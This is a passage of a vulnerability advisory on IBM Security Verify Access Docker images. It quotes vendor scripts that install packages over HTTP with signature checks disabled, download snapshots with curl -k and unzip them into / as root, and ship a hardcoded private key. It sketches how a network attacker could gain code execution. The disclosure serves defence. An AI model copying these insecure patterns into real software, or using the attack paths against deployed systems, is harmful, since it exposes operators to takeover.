16 locate_file()
17 {
18 grep "$1" $web_files | cut -f 2 -d '"'
19 }
20 curl -k ${WEBSERVER}/ -o $web_files
21
[...]
29 #
30 # Install each of our zip files.
31 #
32
33 zips="\
34 ibm-semeru-open-jre_x64_linux_11..tar.gz:/opt/java \
35 liberty..zip:/opt/ibm \
36 oracle_jdbc_..zip:/opt/oracle/jdbc \
37 ibm-db2-jdbc..tar.gz:/opt/IBM/db2"
38
39 for entry in $zips; do
40 zip=echo $entry | cut -f 1 -d ':'
41 dst=echo $entry | cut -f 2 -d ':'
42
43 # Download and install the file.
44 zip_file=locate_file $zip
45
46 curl --fail -s -k ${WEBSERVER}/$zip_file -o /root/$zip_file
47
48 mkdir -p $dst
49
50 set +e; echo $zip | grep -q .zip; rc=$?; set -e
51 if [ $rc -eq 0 ] ; then
52 unzip -q /root/$zip_file -d $dst
53 exclude=echo $zip_file | sed "s|.zip|.exclude|g"
54 else
55 tar -x -C $dst -f /root/$zip_file
56 exclude=echo $zip_file | sed "s|.tar.gz|.exclude|g"
57 fi
58
59 exclude_file=/root/$exclude
60
61 set +e; curl --fail -s -k ${WEBSERVER}/$exclude -o $exclude_file; rc=$?; set -e
62
63 if [ $rc -eq 0 -a -s $exclude_file ] ; then
64 cd $dst
65 cat $exclude_file | xargs rm -rf
66 fi
[/code]
Details - Remote Code Execution due to insecure Repository configuration
It was observed that the Docker images verify-access-dsc, verify-access-runtime and verify-access-wrp use insecure CentOS repositories:
-
- The transport is done over HTTP (in clear-text) - instead of HTTPS.
-
- The check of the signature is disabled.
-
- These repositories will be enabled by default.
An attacker located on the network (local network or any Internet router located between the instance and the remote mirror.centos.org server) can inject malicious RPMs and take control over the entire platform.
The /usr/sbin/install_system.sh script in these 3 images will enable 4 remote repositories over HTTP and will disable the check of signature of the downloaded packages from these repositories:
31 centos_repo_file="/etc/yum.repos.d/centos.repo"
32
33 cat <<EOT >> $centos_repo_file
34 [CentOS-8_base]
35 name = CentOS-8 - Base
36 baseurl = http://mirror.centos.org/centos/8-stream/BaseOS/x86_64/os
37 gpgcheck = 0
38 enabled = 1
39
40 [CentOS-8_appstream]
41 name = CentOS-8 - AppStream
42 baseurl = http://mirror.centos.org/centos/8-stream/AppStream/x86_64/os
43 gpgcheck = 0
44 enabled = 1
45 EOT
[...]
98 #
99 # Enable install of the busybox RPM from the Fedora repository.
100 #
101
102 fedora_repo_file="/etc/yum.repos.d/fedora.repo"
103
104 cat <<EOT >> $fedora_repo_file
105 [fedora]
106 name=Fedora
107 metalink=https://mirrors.fedoraproject.org/metalink?repo=fedora-33&arch=x86_64
108 enabled=1
109 gpgcheck=0
110
111 [fedora-updates]
112 name=Fedora Updates
113 metalink=https://mirrors.fedoraproject.org/metalink?repo=updates-released-f33&arch=x86_64
114 enabled=1
115 gpgcheck=0
116 EOT
It was confirmed that this configuration appears in the verify-access-runtime instance in the live system:
[root@container-01]# for i in $(podman ps | grep -v NAMES | awk '{ print $1 }'); do podman ps | grep $i; podman exec -it $i cat /etc/yum.repos.d/centos.repo;echo;done
4262005f3646 ibmcom/verify-access/10.0.4.0:20221006.1 7 hours ago Up 7 hours ago (healthy) 0.0.0.0:7443->9443/tcp verify-access
cat: /etc/yum.repos.d/centos.repo: No such file or directory
c930c46acd66 ibmcom/verify-access-runtime/10.0.4.0:20221006.1 7 hours ago Up 7 hours ago (healthy) 0.0.0.0:9443->9443/tcp verify-access-runtime
name = CentOS-8 - Base
baseurl = http://mirror.centos.org/centos/8-stream/BaseOS/x86_64/os
gpgcheck = 0
enabled = 1
[CentOS-8_appstream]
name = CentOS-8 - AppStream
baseurl = http://mirror.centos.org/centos/8-stream/AppStream/x86_64/os
gpgcheck = 0
enabled = 1
48f1b1e8f782 ibmcom/verify-access-dsc/10.0.4.0:20221006.1 7 hours ago Up 7 hours ago (healthy) 0.0.0.0:8443-8444->8443-8444/tcp verify-access-dsc
cat: /etc/yum.repos.d/centos.repo: No such file or directory
[root@container-01]#
Furthermore, the script /usr/sbin/install_system.sh will insecurely download programs and install them as root, using the previous insecure repositories:
[code:shell]
48 # Install tools required for container build process.
49 #
50
51 microdnf -y install unzip shadow-utils jansson openssl libxslt \
52 libnsl2 gzip cpio tar
[...]
55 # We have an issue where RedHat periodically introduces a dependency on
56 # openssl-pkcs11. We don't actually need this package and so we manually remove
57 # it if it has been installed.
58 #
59
60 if [ rpm -q -a | grep openssl-pkcs11 | wc -l -ne 0 ] ; then
61 rpm --erase openssl-pkcs11
62 fi
[...]
70 rpms=""
71 for lang in en cs de es fi fr hu it ja ko nl pl pt ru zh; do
72 rpms="$rpms glibc-langpack-$lang"
73 done
[...]
122 microdnf -y install busybox
[/code]
Details - Additional repository configuration (potential supply-chain attack)
It was observed that the Docker images verify-access-runtime and verify-access-wrp use a third-party repository configuration, obtained when retrieving the external file at https://repo.symas.com/configs/SOFL/rhel8/sofl.repo:
Content of /usr/sbin/install_system.sh:
[code:shell] 47 # 48 # Install OpenLDAP. This is no longer provided by CentOS. 49 # 50 51 sofl_repo_file="/etc/yum.repos.d/sofl.repo" 52 53 curl https://repo.symas.com/configs/SOFL/rhel8/sofl.repo \ 54 -o $sofl_repo_file [/code]
It was confirmed that this configuration appears in the verify-access-runtime instance in the live system:
[isam@verify-access-runtime /]$ cat /etc/yum.repos.d/sofl.repo
[sofl]
name=Symas OpenLDAP for Linux RPM repository
baseurl=https://repo.symas.com/repo/rpm/SOFL/rhel8
gpgkey=https://repo.symas.com/repo/gpg/RPM-GPG-KEY-symas-com-signing-key
gpgcheck=1
enabled=1
[isam@verify-access-runtime /]$
When reading the /usr/sbin/install_system.sh script, this repository is used to install an additional package, without checking the signature:
[code:shell]
58 #
59 # We want to manually install the openldap server RPM as microdnf pulls
60 # in a whole heap of dependencies which we don't require.
61 #
62
63 baseurl=grep baseurl $sofl_repo_file | cut -f 2 -d '='/x86_64
64 version=rpm -q --qf "%{VERSION}-%{RELEASE}" symas-openldap
65 rpmfile=/tmp/openldap.rpm
66
67 curl $baseurl/symas-openldap-servers-$version.x86_64.rpm -o $rpmfile
68
69 rpm -i --nodeps $rpmfile
70
71 rm -f $rpmfile
[/code]
There is a potential supply-chain attack and this dependency is not documented.
Details - Remote Code Execution due to insecure /usr/sbin/install_system.sh script in verify-access-runtime
It was observed that the Docker image verify-access-runtime uses a highly insecure /usr/sbin/install_system.sh script.
With the 2 previous vulnerabilities already explained in Additional repository configuration (potential supply-chain attack) and Remote Code Execution due to insecure download of rpm and zip files in verify-access-dsc, verify-access-runtime and verify-access-wrp (/usr/sbin/install_isva.sh), this version adds 2 new vulnerabilities:
-
- Installation of 3 packages downloaded over HTTP without checking the signature (lines 82, 84 and 90); and
-
- Replacement of
/usr/share/java/postgresql-jdbc/postgresql.jarusing a postgresql.jar file directly retrieved over HTTP (line 99) and with-k(aka--insecure).
- Replacement of
Content of /usr/sbin/install_system.sh:
[code:shell]
73 #
74 # For the postgresql packages we need to download and install manually so
75 # that we don't also pull in all of the unnecessary dependencies.
76 #
77
78 centos_base=http://mirror.centos.org/centos/8-stream/AppStream/x86_64/os/Packages/
79
80 rpms=/tmp/rpms.txt
81
82 curl http://mirror.centos.org/centos/8-stream/AppStream/x86_64/os/Packages/ -o $rpms
83
84 for pkg in postgresql-12 postgresql-server-12 postgresql-jdbc-42; do
85 rpm_file=grep $pkg $rpms | tail -n 1 | \
86 sed 's|.*href="||g' | cut -f 1 -d '"'
87
88 echo "Installing: $rpm_file"
89
90 rpm -i --nodeps $centos_base/$rpm_file
91 done
92
93 rm -f $rpms
94
95 #
96 # Need a more current jar then what is part of the postges-jdbc rpm
97 #
98 postgres_jar=locate_file postgresql-.*.jar
99 curl -kv ${WEBSERVER}/$postgres_jar -o /usr/share/java/postgresql-jdbc/postgresql.jar
[/code]
An attacker located on the network (local network or any Internet router located between the instance and the remote mirror.centos.org server) can inject malicious rpm or a malicious .jar file and take control over the entire platform.
Note that IBM does not consider this vulnerability since the script is supposed to be executed in a secure network.
Details - Remote Code Execution due to insecure reload script in verify-access-runtime
It was observed that the Docker image verify-access-runtime uses a highly insecure reload script.
An attacker located on the network can inject a malicious snapshot file into the platform or MITM the connection to a server containing the snapshot image and take control over the entire platform.
This script is defined at the end of the /usr/sbin/install_system.sh script:
Content of /usr/sbin/install_system.sh in verify-access-runtime:
[code:shell] 239 # 240 # Ensure that the reload script is executable. 241 # 242 243 mv /sbin/reload.sh /sbin/runtime_reload 244 245 chmod 755 /sbin/runtime_reload [/code]
Analysis of /sbin/runtime_reload:
The function download_from_cfgsvc() is insecure as the curl command uses the -k option (as known as --insecure) to download and install a snapshot into the instance: any invalid SSL certificate for the remote server will be accepted because of the -k option.
We can also see that Postgres does not have passwords in line 144, already found in Lack of authentication in Postgres inside verify-access-runtime.
[code:shell]
67 #############################################################################
68 # Attempt to download the snapshot from the configuration service.
69
70 download_from_cfgsvc()
71 {
72 # No need to download the snapshot if the configuration service has not
73 # been defined.
74 if [ -z "$CONFIG_SERVICE_URL" ] ; then
75 return
76 fi
77
78 if [ $1 -eq 1 ] ; then
79 Echo 960
80 fi
81
82 curl -k -s --fail -u "$CONFIG_SERVICE_USER_NAME:$CONFIG_SERVICE_USER_PWD" \
83 "$CONFIG_SERVICE_URL/snapshots/basename $snapshot?type=File" \
84 -o $snapshot
85
86 if [ $? -ne 0 ] ; then
87 if [ $1 -eq 1 ] ; then
88 Echo 961
89 fi
90
91 rm -f $snapshot
92 else
93 Echo 962
94 fi
95 }
[...]
97 #############################################################################
98 # Main line.
99
100 #
101 # Download the snapshot file.
102 #
103
104 download_from_cfgsvc 1
[...]
127 #
128 # Update the configuration database.
129 #
130
131 Echo 997
132
133 db_root=/var/postgresql/config
134 db_snapshot=$db_root/snapshot.sql
135 db_port=5432
136 db_name=config
137 db_user=www-data
138
139 if [ ! -f $db_snapshot ] ; then
140 Echo 975
141 exit 1
142 fi
143
144 psql -U $db_user -d $db_name -p $db_port -f $db_snapshot -q -b -w
[/code]
Details - Remote Code Execution due to insecure reload script in verify-access-wrp
It was observed that the Docker image verify-access-wrp uses a highly insecure reload script.
An attacker located on the network can inject a malicious snapshot file into the platform or MITM the connection to a server containing the snapshot image and take control over the entire platform. He can also overwrite any file present in the verify-access-wrp docker instance (getting a Remote Code Execution).
This script is defined at the end of the /usr/sbin/install_system.sh script:
Content of /usr/sbin/install_system.sh in verify-access-wrp:
[code:shell] 210 # 211 # Ensure that the restart script is executable. 212 # 213 214 mv /sbin/restart.sh /sbin/wrprestart 215 216 chmod 755 /sbin/wrprestart [/code]
Analysis of /sbin/wrprestart:
The function download_from_cfgsvc() is insecure as the curl command uses the -k option (as known as --insecure) to download and install a snapshot into the instance: any invalid SSL certificate for the remote server will be accepted because of the -k option.
The openldap.zip file found in the malicious snapshot file will then be decrypted using a previously found hardcoded key and extracted into the / directory (line 154 and 156) and openldap will be restarted with the new configuration file, allowing an attacker to get a Remote Code Execution by specifying a malicious slapd.conf file (stored inside openldap.zip, in etc/openldap/slapd.conf).
Since the extraction of openldap.zip takes place in /, it is also possible to overwrite any file as root (and get Remote Code Execution, e.g. by replacing a program).
[code:shell]
85 #############################################################################
86 # Attempt to download the snapshot from the configuration service.
87
88 download_from_cfgsvc()
89 {
90 # No need to download the snapshot if the configuration service has not
91 # been defined.
92 if [ -z "$CONFIG_SERVICE_URL" ] ; then
93 return
94 fi
95
96 if [ $1 -eq 1 ] ; then
97 Echo 960
98 fi
99
100 curl -k -s --fail -u "$CONFIG_SERVICE_USER_NAME:$CONFIG_SERVICE_USER_PWD" \
101 "$CONFIG_SERVICE_URL/snapshots/basename $snapshot?type=File" \
102 -o $snapshot
103
104 if [ $? -ne 0 ] ; then
105 if [ $1 -eq 1 ] ; then
106 Echo 961
107 fi
108
109 rm -f $snapshot
110 else
111 Echo 962
112 fi
113 }
[...]
137 #############################################################################
138 # Process the OpenLDAP configuration and then restart the OpenLDAP server.
139
140 restart_openldap_server()
141 {
142 # Check to see whether the embedded LDAP server has been enabled or
143 # not.
144 ldap_conf="/var/PolicyDirector/etc/ldap.conf"
145 ldap_host=$pdconf -f $ldap_conf getentry ldap host
146
147 if [ "$ldap_host" != "127.0.0.1" ] ; then
148 return
149 fi
150
151 Echo 964
152
153 # Decrypt and extract the LDAP configuration.
154 isva_decrypt $snapshot_tmp_dir/openldap.zip
155
156 unzip -q -o $snapshot_tmp_dir/openldap.zip -d /
157
158 # Change the LDAP port from 389 to 6389 (389 is a privileged port).
159 $pdconf -f $ldap_conf setentry ldap port 6389
160
161 # Stop the LDAP server.
162 busybox killall -SIGHUP slapd
163
164 while $(busybox killall -0 slapd 2>/dev/null); do
165 sleep 1
166 done
167
168 # Start the LDAP server.
169 slapd -4 -f /etc/openldap/slapd.conf -h ldap://127.0.0.1:6389 -s 0
170 }
[...]
260 #############################################################################
261 # Main line.
262
263 #
264 # Attempt to download the configuration data from the configuration service.
265 #
266
267 #
268 # Wait for the snapshot file.
269 #
270
271 download_from_cfgsvc 1
[...]
305 #
306 # Restart the OpenLDAP server.
307 #
308
309 restart_openldap_server
[/code]
Details - Hardcoded private key for IBM ISS (ibmcom/verify-access)
It was observed that the ibmcom/verify-access Docker image contains a hardcoded private key used by the license client iss-lum:
kali-docker# pwd
/home/user/ibmcom/_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/etc/lum
kali-docker# ls -al
total 492
drwxr-xr-x 2 root root 4096 Jun 8 01:43 .
drwxr-xr-x 25 root root 4096 Jun 8 04:09 ..
-rwxr-xr-x 1 root root 1296 Oct 20 2016 externalTrustSettings.xml
-rwxr-xr-x 1 root root 445080 Oct 20 2016 iss-external.kdb
-rwxr-xr-x 1 root root 129 Oct 20 2016 iss-external.sth
-rwxr-xr-x 1 root root 100 Oct 20 2016 iss-lum.conf
-rwxr-xr-x 1 root root 3649 Oct 20 2016 isslum-usLocalSettings.xml
-rwxr-xr-x 1 root root 725 Oct 20 2016 lum_triggers.conf
-rwxr-xr-x 1 root root 1858 Oct 20 2016 private.pem
-rwxr-xr-x 1 root root 451 Oct 20 2016 public.pem
-rwxr-xr-x 1 root root 3926 Oct 20 2016 .udrc
-rwxr-xr-x 1 root root 806 Oct 20 2016 update-settings.conf
-rwxr-xr-x 1 root root 7352 Oct 20 2016 update-status.xsd
-rwxr-xr-x 1 root root 561 Jun 8 01:32 UpdateTypeNames.config
-rwxr-xr-x 1 root root 0 Dec 31 1969 .wh..wh..opq
kali-docker# sha256sum private.pem public.pem
e1ecbd519ef838861cb0fe5e5daad88f90b9b2c154a936daf7f08855039b0c1d private.pem
3a6bbfef0af62c277cbe7b7fbc061b6a11b01e9ff61bba7bfe7edcaaeae3cd20 public.pem
When analyzing the podman instance verify-access, we can confirm the key has not been updated:
[isam@verify-access lum]$ sha256sum private.pem public.pem
e1ecbd519ef838861cb0fe5e5daad88f90b9b2c154a936daf7f08855039b0c1d private.pem
3a6bbfef0af62c277cbe7b7fbc061b6a11b01e9ff61bba7bfe7edcaaeae3cd20 public.pem
[isam@verify-access lum]$
The private key appears to be used by several programs:
-
- /opt/dca/bin/dcatool
-
- /usr/bin/isslum-modstatus
-
- /usr/sbin/iss-lum
-
- /usr/sbin/mesa_config
-
- /usr/sbin/mesa_eventsd
-
- /usr/sbin/isslum-installer
The license client is using outdated codes and may contain vulnerabilities.
The keys are hardcoded and have not been updated for 6 years, which brings a question how the license client is being maintained.
Details - dcatool using an outdated OpenSSL library (ibmcom/verify-access)
It was observed that the dcatool program located in /opt/dca/bin is linked with an outdated OpenSSL library located in the non-standard directory /opt/dca/lib:
-
From a live system:
[isam@verify-access bin]$ pwd /opt/dca/bin [isam@verify-access bin]$ ls -la total 580 drwxr-xr-x 2 root root 4096 Jun 8 13:43 . drwxr-xr-x 4 root root 4096 Jun 8 13:43 .. -rwxr-xr-x 1 root root 373208 Jun 8 13:31 dcatool -rwxr-xr-x 1 root root 207872 Jun 8 13:31 dcaupdate [isam@verify-access bin]$ ldd dcatool | grep ssl libssl.so.10 => /opt/dca/lib/libssl.so.10 (0x00007fafcfb1e000) libssl.so.1.1 => /lib64/libssl.so.1.1 (0x00007fafcda45000) [isam@verify-access bin]$ ldd dcaupdate | grep ssl libssl.so.10 => /opt/dca/lib/libssl.so.10 (0x00007fe04980d000) libssl.so.1.1 => /lib64/libssl.so.1.1 (0x00007fe047734000)
Analysis of the library:
[isam@verify-access lib]$ pwd
/opt/dca/lib
[isam@verify-access lib]$ ls -la
total 4156
drwxr-xr-x 2 root root 4096 Jun 8 13:43 .
drwxr-xr-x 4 root root 4096 Jun 8 13:43 ..
-rwxr-xr-x 1 root root 1252080 Jun 8 13:31 libboost_regex.so.1.53.0
-rwxr-xr-x 1 root root 2521496 Jun 8 13:31 libcrypto.so.10
lrwxrwxrwx 1 root root 24 Jun 8 13:43 libicudata.so.54 -> /usr/lib64/libicudata.so
lrwxrwxrwx 1 root root 24 Jun 8 13:43 libicui18n.so.54 -> /usr/lib64/libicui18n.so
lrwxrwxrwx 1 root root 22 Jun 8 13:43 libicuuc.so.54 -> /usr/lib64/libicuuc.so
-rwxr-xr-x 1 root root 470328 Jun 8 13:31 libssl.so.10
[isam@verify-access lib]$ sha256sum *so*
a4b9594f78c0e5cfa14c171e07ae439dccd0ef990db8c4b155c68fde43a8d9a9 libboost_regex.so.1.53.0
8db48d5bcf1ddf6a8a4033de04827288b33af36d246c73ba46041365a61c697c libcrypto.so.10
07796e84fc3618a64259cfff7a896e57fc90f6b270d690d953f4792c2b7e21ac libicudata.so.54
49e6f6b12d118118c7d17cec26f80c81b39c89ea01a30eaf26abb07859d909fe libicui18n.so.54
1504c73f432bc24414c0ca69d29bdb04c04ba2269b752c320306cb25aadd5972 libicuuc.so.54
523ad80dd3cd9afe19bbb83eb22b11ba43b0dc907a3893a38569023ef7b382f0 libssl.so.10
[isam@verify-access lib]$
We can retrieve these 2 libraries inside the ibmcom/verify-access image and identify the version of OpenSSL:
kali-docker# sha256sum **/libssl.so.10
523ad80dd3cd9afe19bbb83eb22b11ba43b0dc907a3893a38569023ef7b382f0 698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/dca/lib/libssl.so.10
kali-docker# sha256sum **/libcrypto.so.10
8db48d5bcf1ddf6a8a4033de04827288b33af36d246c73ba46041365a61c697c 698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/dca/lib/libcrypto.so.10
kali-docker# kali-docker# strings 698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/dca/lib/libcrypto.so.10|grep -i openssl
[...][
OpenSSL 1.0.2k-fips 26 Jan 2017
[...]
kali-docker# strings 698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/dca/lib/libssl.so.10|grep -i openssl
OpenSSL 1.0.2k-fips 26 Jan 2017
[...]
The libraries located in /opt/dca/lib are completely outdated and are vulnerable to known CVEs.
These libraries are likely used by IBM-specific programs.
The Docker images contain known vulnerabilities.
Details - iss-lum using an outdated OpenSSL library (ibmcom/verify-access) and hardcoded keys
It was observed that the /usr/sbin/iss-lum program from the verify-access Docker image contains outdated OpenSSL code (from the library 0.9.7) from 2007. The iss-lum program is the license client that will connect to external servers.
This program runs inside the instance:
[isam@verify-access /]$ ps -auxw
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
isam 1 0.0 0.0 12060 132 ? Ss Oct04 0:00 /bin/sh /sbin/bootstrap.sh
isam 313 0.0 0.0 24532 68 ? Ss Oct04 0:00 /usr/sbin/mesa_crashd
isam 315 0.1 0.0 24532 1032 ? S Oct04 1:57 /usr/sbin/mesa_crashd
isam 319 0.0 0.0 69160 144 ? Ss Oct04 0:00 /usr/sbin/mesa_syslogd
isam 321 0.0 0.0 69224 1280 ? S Oct04 0:00 /usr/sbin/mesa_syslogd
isam 400 0.0 0.0 102760 200 ? Ss Oct04 0:00 /usr/sbin/mesa_eventsd -m 1000
isam 401 0.0 0.0 710856 316 ? Sl Oct04 0:00 /usr/sbin/mesa_eventsd -m 1000
pgresql 435 0.0 0.0 188380 7016 ? Ss Oct04 0:02 /usr/bin/postgres -D /var/postgresql/config/data
pgresql 436 0.0 0.0 138892 184 ? Ss Oct04 0:00 postgres: logger
pgresql 447 0.0 0.0 188380 1600 ? Ss Oct04 0:00 postgres: checkpointer
pgresql 448 0.0 0.0 188516 1288 ? Ss Oct04 0:01 postgres: background writer
pgresql 449 0.0 0.0 188380 1468 ? Ss Oct04 0:01 postgres: walwriter
pgresql 450 0.0 0.0 189112 1864 ? Ss Oct04 0:01 postgres: autovacuum launcher
pgresql 451 0.0 0.0 139024 588 ? Ss Oct04 0:05 postgres: stats collector
pgresql 452 0.0 0.0 188916 1016 ? Ss Oct04 0:00 postgres: logical replication launcher
www-data 548 0.4 4.8 4920352 387128 ? SLl Oct04 7:53 /opt/java/jre/bin/java -javaagent:/opt/IBM/wlp/bin/tools/ws-javaagent.jar -Djava.awt.headless=true -Djdk.attach.allowAttachSelf=true -Dcom.sun.jndi.ldap.object.disableEndpointIdentification=true -Djava.security.properties=/opt/IBM/wlp/usr/servers/default/java.security -Dcom.ibm.ws.logging.log.directory=/var/application.logs.local/lmi -Xbootclasspath/a:/opt/pdjrte/java/export/rgy/com.tivoli.pd.rgy.jar:/opt/ibm/wlp/usr/servers/runtime/lib/global/xercesImpl.jar -Dorg.osgi.framework.system.packages.extra=com.tivoli.pd.rgy,com.tivoli.pd.rgy.authz,com.tivoli.pd.rgy.exception,com.tivoli.pd.rgy.ldap,com.tivoli.pd.rgy.nls,com.tivoli.pd.rgy.util,com.ibm.misc,com.ibm.net.ssl.www2.protocol.https,com.sun.jndi.ldap,org.apache.xml.serialize -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 --add-exports java.base/sun.security.action=ALL-UNNAMED --add-exports java.naming/com.sun.jndi.ldap=ALL-UNNAMED --add-exports java.naming/com.sun.jndi.url.ldap=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens java.naming/javax.naming.spi=ALL-UNNAMED --add-opens jdk.naming.rmi/com.sun.jndi.url.rmi=ALL-UNNAMED --add-opens java.naming/javax.naming=ALL-UNNAMED --add-opens java.rmi/java.rmi=ALL-UNNAMED --add-opens java.sql/java.sql=ALL-UNNAMED --add-opens java.management/javax.management=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/java.awt.image=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED --add-opens java.base/java.net=ALL-UNNAMED -jar /opt/IBM/wlp/bin/tools/ws-server.jar default --clean
isam 748 0.0 0.0 270992 8 ? Ssl Oct04 0:02 /usr/sbin/wga_watchdogd slapdw -log_file /var/application.logs.local/verify_access_runtime/user_registry/msg__user_registry.log /usr/sbin/slapd -d 0 -s 0 -h ldap://127.0.0.1:389 ldaps://127.0.0.1:636 -f /etc/openldap/slapd.conf -u ldap -g ldap
ldap 753 0.0 4.3 1314228 346548 ? Sl Oct04 0:00 /usr/sbin/slapd -d 0 -s 0 -h ldap://127.0.0.1:389 ldaps://127.0.0.1:636 -f /etc/openldap/slapd.conf -u ldap -g ldap
isam 757 0.0 0.0 271124 8 ? Ssl Oct04 0:02 /usr/sbin/wga_watchdogd ISAM-Policy-Server -log_file /var/application.logs.local/verify_access_runtime/policy/msg__pdmgrd.log -cfg /var/PolicyDirector/etc/ivmgrd.conf /opt/PolicyDirector/bin/pdmgrd -foreground
ivmgr 762 0.0 0.1 1070184 10860 ? Sl Oct04 0:01 /opt/PolicyDirector/bin/pdmgrd -foreground
isam 805 0.0 0.0 71488 316 ? Ss Oct04 0:00 /usr/sbin/iss-lum
isam 806 0.0 0.0 343920 5264 ? Sl Oct04 0:00 /usr/sbin/iss-lum
root 811 0.0 0.0 41984 2416 ? Ss Oct04 0:00 /usr/sbin/crond
isam 834 0.0 0.0 128400 2076 ? Ssl Oct04 0:00 /usr/sbin/rsyslogd
root 859 0.0 0.0 174348 96 ? Ss Oct04 0:00 /usr/sbin/wga_servertaskd
ivmgr 861 0.0 0.0 276544 84 ? Sl Oct04 0:00 /usr/sbin/wga_servertaskd
isam 870 0.0 0.0 273920 8 ? Ssl Oct04 0:02 /usr/sbin/wga_watchdogd wga_notifications -log_file /var/log/wga_notifications.log wga_notifications -foreground
isam 877 2.1 0.2 563872 18472 ? Sl Oct04 38:43 wga_notifications -foreground
isam 889 0.0 0.0 12060 80 ? S Oct04 0:00 /bin/sh /sbin/bootstrap.sh
isam 892 0.0 0.0 23068 24 ? S Oct04 0:00 /usr/bin/coreutils --coreutils-prog-shebang=tail /usr/bin/tail -F -n+0 /var/application.logs.local/lmi/messages.log
isam 217541 4.0 0.0 19248 3836 pts/0 Ss 21:37 0:00 bash
isam 217564 0.0 0.0 54808 4080 pts/0 R+ 21:37 0:00 ps -auxww
[isam@verify-access /]$
This program appears to establish connections to remote servers to check the license.
The OpenSSL library embedded inside the program is completely outdated (0.9.7j - Feb 2007):
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
Furthermore, this program includes several hardcoded keys to decrypt the private key in /etc/lum/private.pem. In the function ctor_009:
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
Some decryption keys have been identified within the binaries used to check the license:
Function sub_4806C0:
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
Function ctor_009:
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
The Docker images contain known vulnerabilities.
Details - Outdated "IBM Crypto for C" library
It was observed that the IBM Crypto for C library is installed inside all the Docker images in the directory /usr/local/ibm/gsk8_64:
For example, from the Docker image verify-access-wrp:
kali-docker# cd ./_verify-access-wrp.tar/b96855ec6855fe34f69782b210ae257d2203ad22d4d79f3bfd4818fa57bcc39a
kali-docker# find usr/local/ibm
usr/local/ibm
usr/local/ibm/gsk8_64
usr/local/ibm/gsk8_64/lib64
usr/local/ibm/gsk8_64/lib64/libgsk8cms_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8kicc_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8p11_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8ssl_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8drld_64.so
usr/local/ibm/gsk8_64/lib64/C
usr/local/ibm/gsk8_64/lib64/C/icc
usr/local/ibm/gsk8_64/lib64/C/icc/icclib
usr/local/ibm/gsk8_64/lib64/C/icc/icclib/libicclib084.so
usr/local/ibm/gsk8_64/lib64/C/icc/icclib/ICCSIG.txt
usr/local/ibm/gsk8_64/lib64/libgsk8ldap_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8iccs_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8valn_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8acmeidup_64.so
usr/local/ibm/gsk8_64/lib64/N
usr/local/ibm/gsk8_64/lib64/N/icc
usr/local/ibm/gsk8_64/lib64/N/icc/icclib
usr/local/ibm/gsk8_64/lib64/N/icc/icclib/libicclib085.so
usr/local/ibm/gsk8_64/lib64/N/icc/icclib/ICCSIG.txt
usr/local/ibm/gsk8_64/lib64/N/icc/ReadMe.txt
usr/local/ibm/gsk8_64/lib64/libgsk8dbfl_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8km2_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8km_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8sys_64.so
usr/local/ibm/gsk8_64/docs
usr/local/ibm/gsk8_64/copyright
usr/local/ibm/gsk8_64/inc
usr/local/ibm/gsk8_64/bin
usr/local/ibm/gsk8_64/bin/gsk8capicmd_64
usr/local/ibm/gsk8_64/bin/gsk8ver_64
usr/local/ibm/.wh..wh..opq
kali-docker#
This library is based on the opensource libraries zlib and OpenSSL. It was built in October 2020, as shown below:
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
Furthermore, the copyrights from the /usr/local/ibm/gsk8_64/lib64/N/icc/ReadMe.txt file indicate:
-
- (C) 1995-2004 Jean-loup Gailly and Mark Adler - for zlib
-
- Copyright (c) 1998-2007 The OpenSSL Project. All rights reserved. - for OpenSSL
The /usr/local/ibm/gsk8_64/lib64/N/icc/icclib/ICCSIG.txt file confirms the libraries were generated 2 years ago:
#
# IBM Crypto for C.
# ICC Version 8.7.37.0
#
# Note the signed library contains a copy of cryptographic code from OpenSSL (www.openssl.org),
# zlib (www.zlib.org)
# and IBM code (www.ibm.com)
#
# Platform AMD64_LINUX
#
# Generated Tue Oct 13 12:09:08 2020
#
# File name=libicclib085.so
# File Hash (SHA256)=bbbb89eae43b11aba9a132a53207ca532236cd064b6aa0b84ea878a0b9bf8b4f
#
